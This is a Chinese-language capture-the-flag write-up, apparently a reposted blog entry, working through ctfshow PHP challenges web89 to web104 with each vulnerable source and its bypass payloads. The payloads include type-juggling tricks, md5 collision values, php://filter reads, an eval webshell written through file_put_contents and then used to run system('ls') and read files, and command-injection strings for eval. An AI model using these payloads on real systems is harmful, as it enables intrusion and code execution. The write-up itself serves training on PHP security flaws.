目錄
web89
web90
web91
web92
web93
web94
web95
web90,92-95總結
web96
web97
拓展
web98
web99
web100
web101
web102
web103
web104
web89
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
include("flag.php");
highlight_file(__FILE__);
?
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
很明顯要讓我們get傳入一個num引數,然后num還要是數字輸出flag,但是原始碼里0-9都被禁了
此時我們可以使用陣列的方法進行繞過
?num[]=1
因為
preg_match()回傳 pattern的匹配次數, 它的值將是0次(不匹配)或1次,因為preg_match()在第一次匹配后 將會停止搜索,可以通過陣列的方式通過
**intval()** 不能用于 object,否則會產生 **`E_NOTICE`** 錯誤并回傳 1
陣列為一個物件,然后將會回傳一個1的數
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
很明顯的,我們有兩個方法
?num=4476a//弱型別
?num=0x117c//十六進制
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
在這里有兩個匹配
preg_match('/^php$/im', $a)//匹配多行的php
preg_match('/^php$/i', $a)//匹配第一行的php
所有這個題的意思,匹配多行是要有php,然后匹配第一行的時候要沒有php
payload:
?cmd=123%0aphp //%0a為換行符
web92
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
?
*/
?
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
?num=0x117c
?num=010574
?num=4476e123,特殊的e表示科學計數法,在intval()函式讀取到e的時候就會停止
十六進制和把八進制進行繞過
web93
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
?
*/
?
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
在判斷時多了對字母的禁用,十六進制和科學計數法就被禁了,八進制依然可以
?num=010574
web94
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
?
*/
?
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
這次多了個函式
if(!strpos($num, "0"))意思為不匹配到0則執行陳述句內
strpos函式為回傳字串在另一字串中第一次出現的位置,如果沒有找到字串則回傳 FALSE,
所以我們要讓傳入的引數要有0回傳1
web95
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
?
*/
?
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
此時不是兩個等號,所以不是弱型別,然后我們可以嘗試使用8進制和16進制,但是字母被禁了,所以我們可以使用16進制,然后還要在值的前面加上一個+或空格,intval函式會對空格開頭進行一個洗掉的處理
?num=+010574
?num= 010574
web90,92-95總結
題目的原始碼基本相似,但是會禁用一些地方,如字母,數字,特殊具有的一個函式
intval()
注:
如果字串包括了"0x"的前綴,使用16進制
如果字串以"0"開始,使用8進制,其他都論十進制
大體的payload如下
小數點(含有0)//?num=4476.0
科學計數法//?num=4476e0
十六進制//?num=0x117c
八進制//?num=010574
八進制+空格//?num= 010574
正負號//?num=+4476.0
web96
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
?
*/
?
?
highlight_file(__FILE__);
?
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
?
?
}
路徑問題
/var/www/html/flag.php 絕對路徑
./flag.php 相對路徑
php://filter/resource=flag.php php偽協議
web97
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
?
*/
?
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
很明顯的要讓a和b不相等,然后還要md5的值相等,最簡單的就可以陣列
?a[]=1&b[]=2
拓展
md5
弱比較
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比較,為0e開頭的會被識別為科學記數法,結果均為0,所以只需找兩個md5后都為0e開頭且0e后面均為數字的值即可,
payload: a=QNKCDZO&b=240610708
強比較
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
這時候需要找到兩個真正的md5值相同資料
?
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
web98
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
?
*/
?
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?
?>
該題的主要知識點
三目運算子
if($_GET)
$_GET=$_POST
else
$_GET='flag'
if($_GET['flag']=='flag')
$_GET=&$_COOKIE
else
$_GET='flag'
if($_GET['flag']=='flag')
$_GET=&$_SERVER
else
$_GET='flag'
所以我們get隨便傳一個,然后post傳 HTTP_FLAG=flag即可
payload get:1=1 post:HTTP_FLAG=flag
web99
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
?
*/
?
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?
?>
in_array弱型別比較
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
回傳的為true
?
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
回傳false
file_put_contents函式
file_put_contents(file,data,mode,context)
file:規定寫入的檔案
data:寫入檔案的資料
mode:如何打開/寫入檔案(FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX)
context:檔案句柄的環境
payload
get:?n=1.php post content=<?php eval($_POST[1]);?>
此時就寫入到了1.php,然后打開1.php
post 1=system('ls');
1=system('cat flag36d.php');
web100
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
?
*/
?
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?
?
?>
在第一部分
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a); 回傳true
?
$a=true && false && false;
var_dump($a); 回傳false
所以只要v1為數字,v0就為true
第二部分
v2要沒有;
v3要有;
payload
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');
web101
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
?
*/
?
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?
?>
代碼與web100相似,不過v2和v3過濾掉了好多東西
我們可以使用反射類構造echo new ReflectionClass(‘ctfshow’);
?v1=1&v2=echo new ReflectionClass&v3=;
ReflectionClass類
ReflectionClass 類報告了一個類的有關資訊,
web102
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
?
*/
?
?
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?
?
?>
call_user_func函式
把第一個引數作為回呼函式呼叫
第一個思路:
在php5的環境中,是可以識別十六進制的,也就是如果傳入
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六進制)
也是可以識別為數字從而繞過
payload
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
但是本題無法使用,因為本題的環境為php7,
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));
下回傳false
第二個思路
要讓v2全為數字,考慮利用偽協議寫入
get:v2=?&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin
現在就是要找到一個代碼base64編碼后在轉為十六進制為全數字
5044383959474e6864434171594473
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等號在base64中只是起到填充的作用,不影響具體的資料內容,直接用去掉,=和帶著=的base64解碼出來的內容是相同的,
輸出 5044383959474e6864434171594473
帶e的話會被認為是科學計數法,可以通過is_numeric檢測,
payload
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
題目小總結:
題目首先讓我們傳入v1,v2,v3引數,然后v2或v3為數字才會執行后面,在if陳述句內,變數s為v2從第3個開始截取字符,變數str為v1呼叫函式,此時我們v1可以使用hex2bin函式,字符將從十六進制轉換為ASCII 字符
web103
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24
?
*/
?
?
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?
?>
原始碼在上一題多增加了if(!preg_match("/.p.h.p./i",$str))
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
web104
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
?
*/
?
?
highlight_file(__FILE__);
include("flag.php");
?
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?
?
?
?>
sha1函式
計算字串的 sha1 散列值
payload:
POST v1=1
GET ?v2=1
未完待續~~~
啊😊😊😊😊😁😁😁😁
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298884.html
標籤:其他
上一篇:內網基礎-內網初探與資訊收集
